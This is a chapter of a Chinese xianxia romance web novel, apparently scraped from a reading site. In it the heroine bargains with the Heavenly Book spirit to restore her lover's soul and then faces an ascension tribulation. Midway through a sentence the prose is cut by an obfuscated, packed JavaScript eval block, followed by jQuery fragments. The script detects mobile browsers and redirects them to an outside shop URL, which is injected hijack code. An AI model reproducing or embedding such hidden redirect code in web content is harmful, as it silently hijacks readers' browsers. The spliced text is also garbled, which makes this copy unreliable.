287. 飞升雷劫
作品:《重生成死对头的师尊后》 见状,百里忍冬的心瞬间沉到了谷底。
他猛地攥住厉无渡的手,俯身看着她的眼,声音里带着急切与坚定:“别听它的!我不要什么魂魄圆满,不要什么飞升九天,即便只能陪你一世百年,也足够了,我绝不会让你为了我,踏入这必死的棋局!”
他转头看向天书之灵,眼底满是冷冽的寒意:“收起你这套伎俩,天道的算计,我们早已看透。清浊相抵,业障与道果同归于尽,她身为载体,要想不被殃及简直是天方夜谭。你休要在此夸口惑人,她若不在,我魂魄圆满又有何用?!”
可天书之灵根本没有理会他,只是定定地“看”着厉无渡,它笃定自己这次一定算准了,这世间唯一能让厉无渡动摇的,从来都只有百里忍冬。
厉无渡垂眸,看着自己与百里忍冬交握的手。他的掌心依旧温热,却带着常年练剑留下的薄茧,她想起他惊才绝艳的剑道天赋,与勤修不辍的刻苦,以及两世以来,他无数次为了她身受重伤,乃至于如今魂魄不全的模样。
如今天书之灵将能,且很有可能是救他的唯一希望放在了她眼前,即便这希望的代价,是赌上她的命,但这世间没人能够不为心上人的生死而动容。
厉无渡深吸一口气,缓缓抬眸,看向天书之灵:“你说的,是真的?你真的有办法能补全他的魂魄,不留半分后患?”
百里忍冬:“不……”可。
他怒而转头,瞪着动用天道之力将自己禁言的天书之灵,而在他宛若能杀人的目光注视下,天书之灵肯定地回答道:“不错,我说的都是真的。”
厉无渡盯着它:“我怎知你不是在说谎骗我,你用什么来证明你所说的真实性?”
天书之灵沉默片刻,才道:“……好吧,既然你需要证明,那么我们可以做个交易——就像前世他与天地做过的那样,只不过他付出的是以自身□□与魂魄所设的祭品,而你要付出的代价,是承诺配合我的计划,飞升后作为业障载体,引道果入体令二者相互抵消。”
“如此,你便可与天地交易来你想要的‘补魂’之法。”
“与天地交易”六个字落进耳朵里,厉无渡指尖猛地一缩。
她想起借业障之眼,在它记忆里所见过的前世百里忍冬以自身为祭,换得启动回溯禁术机会的惨烈场景。
青年血肉剥离、白骨飞灰,最后只剩小半个魂魄的模样如同梦魇,令厉无渡难以承受。
因此,她清楚天书之灵提出的这交易的分量——交易者的所求所愿,以及要付出的代价,自会被天地感应,代价够了,交易便成,且一旦落定,就连身为天道化身的天书之灵,也无法更改。
前世百里忍冬是为了她才与天地做了交易,如今她也要反过来为了他,再与天地做一次交易了。
倒也有趣。
厉无渡轻笑一声,抬眼看向天书之灵:
“好啊,那便如此吧——我同意交易。”
“好。”天书之灵早就等着她这句话呢,当即便应声道。
然而它话音未落,一旁被他们排除在外的百里忍冬眼尾瞬间红透,周身灵力疯了似的往外涌,试图冲破天道之力的桎梏阻止厉无渡踩入这场交易的死亡陷阱。可天书之灵只微微一动,白光漫开,一股浩瀚如山海的天道之力便压了下来,严严实实封了他全身经脉。
百里忍冬浑身一僵,翻涌的灵力瞬间被冻得死死的,别说动一根手指,就是眨一下眼都难。喉咙里也像堵了烧红的烙铁,哪怕他咬碎了后槽牙,牙龈渗出血来,也半个字都吐不出来。
他成了一尊被定在原地的活物,五感清明得很,能看见厉无渡眼底的决绝,能闻见她身上熟悉的气息,能听见寒英寒春两柄剑不甘低鸣的声响,可就是动不了,喊不出。
他目眦欲裂地盯着厉无渡,眼眶红得要滴出血来,因为依旧在激烈反抗天道之力而口鼻渗血,却仍旧坚持着无声呐喊:不要,不要去,不要答应它。
厉无渡推动轮椅走到他面前,抬手为他轻轻拭去顺着下颌线往下淌的血迹。
“没关系。”她深深地凝视着他,又重复了一遍,“没关系。”
顿了顿,她又对着百里忍冬露出了一个温柔的笑容,轻声道:“我爱你。”
百里忍冬在这三个字里一瞬崩溃。
但厉无渡已经不再看他,她说完便狠心地收回了手,转向天书之灵,冷淡道:“开始吧。”
天书之灵没再多话,白光铺开来,渗进阁楼的每一寸木石。地底传来古老的嗡鸣,地板上缓缓浮出混沌色的符文,一笔一画都是开天辟地时就形成的灵韵。
最终,它们以厉无渡为阵眼,组成了一个恢弘无比的大阵。
天地浩瀚苍茫的气息笼罩而下,厉无渡仰起头,眼前有一瞬间,又仿佛是数万年,陷入了一片彻底的空茫。
在这片空茫之中,她感应到了冥冥中的天地之意,在垂询她所问何求。
厉无渡彻底敞开了神魂,把心底那点执念完完整整、明明白白地摊给天地看:
我厉无渡,愿顺天而行,踏入飞升之门,以身为皿,承业障,引道果,令清浊二气相融相抵,完天地轮回定数;
所求,唯有二事,天地共鉴:
一者,补全百里忍冬三魂七魄所有缺漏,去他身上所有天道枷锁,保他魂魄圆满,道途无滞,再无蹉跎之苦,不留半分后患;
二者,愿天地垂怜,予我一线生机,与百里忍冬相知相守。
念头通达的瞬间,整座九重塔都剧烈震颤起来,九天之上滚过一声沉雷,像是天地睁开了眼,勘定了这场交易。
塔顶地面上的混沌符文骤然亮起,璀璨的光穿透塔尖,直上云霄,把整座云顶天宫都照得亮如白炽。
又不知过了多久,天地给出了答复:允。
旋即漫天符文飞速收束,凝成两道混沌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287053|158912||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光柱:一道笼罩着厉无渡,另一道,则笼住了被定在原地的百里忍冬。
他还在疯狂冲撞着天道之力设下的禁制,眼眶红得像是要滴血,滚烫的眼泪混着唇角的血珠往下淌,狼狈得不成样子。
他拼了命地想告诉厉无渡,不要这样,他从来都不想要什么魂魄圆满,不想要什么寿与天齐,他想要的,从来都只有一个她。
没有她,漫长的寿数于他而言不过是永无止境的煎熬,他宁肯陪着她一起魂飞魄散,也不愿独自活在这没有她的天地间!
可一切都是徒劳的,他能清晰地感觉到笼住自己的光柱在一点点补全自己曾失去的魂魄,知道一切都成了定局。而他什么都做不到,发不出声音,动不了身体,只能眼睁睁看着——
看着自己的心上人,在另外一道光柱的灌顶下,迎来了恐怖的,飞升雷劫。
……
九重塔外,云雾缭绕的天宫顶端已经静了整整一日。
天宫掌门南溟子负手立在台边最前,道袍下摆和长长的带子随风飘逸,十分仙风道骨,然而此刻他的神情却与这个词不太匹配——只见这位南掌门眉头皱得死紧,身旁玄奥之气浮动,目光一瞬不瞬地钉在眼前那座直插云霄的古塔上,似乎在全力推演着什么。
在他身后,天宫二十八脉主亦一个不少,且也都严阵以待,整整十二个时辰,无人敢有半分松懈。
就在他们如此阵容的蹲守下,第二日,原本沉静的九重塔异变陡生!
先是整座九重塔剧烈震颤起来,塔壁上镌刻了不知多少载的符文全部亮起,金色的光纹冲破塔身,如活物般疯狂游走,纠缠着直通天际。
天宫各仙岛的地面跟着嗡嗡作响,众脉主脸色一变,周身灵力瞬间提起,警惕地盯着眼前的古塔。
“怎么回事?!”有脉主失声低呼,“护宗大阵似乎受到了什么影响,居然不稳起来了!”
但身为掌门的南溟子却对此毫无反应,好像出问题的不是自家大阵一样。
不过这并非是因为南溟子不想管,而是因为此刻的心神全部都集中在别的事上——天道!
南溟子,这个当世最强的卦修,已然从那道破塔而出的光柱上,感应到了浓浓的天道气息!
不等众人再反应,很快,继光柱之后,又有大片的乌云迅速朝着他们头顶聚拢而来。
二十八脉主目瞪口呆地望着那铺天盖地的黑云,连呼吸都忘了。有人踉跄着后退半步,撞在身后的同门身上,才猛地回过神,声音里带着无法掩饰的震骇:“雷劫?!塔中人要渡劫?!”
“这是什么劫?为何竟有如此阵仗?!”修为仅次于南溟子的奎木脉主喃喃道,旋即像是猜到了什么了不得的东西,赫然瞪大了眼,转向南溟子求证,“不会是、不会是……”
“是,”南溟子死死盯着那贯通雷云中心的光柱,深吸了一口气,缓缓吐出四个字,“飞升雷劫。”

